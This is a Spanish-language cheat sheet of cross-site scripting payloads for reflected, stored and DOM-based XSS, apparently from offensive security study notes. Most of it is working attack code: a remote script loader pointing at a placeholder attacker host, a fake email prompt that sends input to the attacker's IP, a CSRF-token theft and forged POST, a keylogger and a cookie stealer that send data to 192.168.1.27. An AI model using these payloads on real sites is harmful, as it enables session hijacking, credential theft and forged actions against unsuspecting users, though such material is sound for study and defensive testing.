Definición: Los datos proporcionados por el usuario se reflejan en la respuesta HTTP sin verificación adecuada.
Ejemplo de Explotación:
<https://ejemplo.com/feedback?returnPath=alert(document.cookie)>
Códigos Relacionados:
<script>alert("vulnerable")</script>
<img src="" onerror="alert(1)">
<https://ejemplo.com/page?param=><script>alert(1)</script>
Definición: El atacante almacena código malicioso en la base de datos o en el servidor web.
Ejemplo de Explotación:
Acceder a una página vulnerable con formularios para datos.
Inyectar un código persistente:
<script>alert("XSS Almacenado");</script>
Códigos Relacionados:
<script src="http://{maquina_atacante}:{puerto}/{recurso_a_ejecutar.js}"></script>
<script>
var email = prompt("Ingrese su correo electrónico para confirmar visualización de post: ", "example: [email protected]");
if (email == null || email == "") {
alert("Recargue la web");
} else {
fetch("http://{ip_atacante}/?=" + email);
}
</script>
Definición: El código malicioso se ejecuta en el navegador manipulando el DOM.
Ejemplo de Explotación:
<script>
var domain = "<http://localhost:10007/newgossip>";
var req1 = new XMLHttpRequest();
req1.open('GET', domain, false);
req1.withCredentials = true;
req1.send();
var response = req1.responseText;
var parser = new DOMParser();
var doc = parser.parseFromString(response, "text/html");
var token = doc.getElementsByName("_csrf_token")[0].value;
var req2 = new XMLHttpRequest();
var data = "title=Hacked&_csrf_token=" + token;
req2.open('POST', domain, false);
req2.withCredentials = true;
req2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
req2.send(data);
</script>
Códigos Relacionados:
<script>
var keys = "";
document.onkeypress = function(e) {
e = e || window.event;
keys += e.key;
var i = new Image();
i.src = "<http://192.168.1.27/>" + keys;
};
</script>
<script>
var requests = new XMLHttpRequest();
requests.open("GET", '<http://192.168.1.27:8081/?cookie=>' + document.cookie);
requests.send();
</script>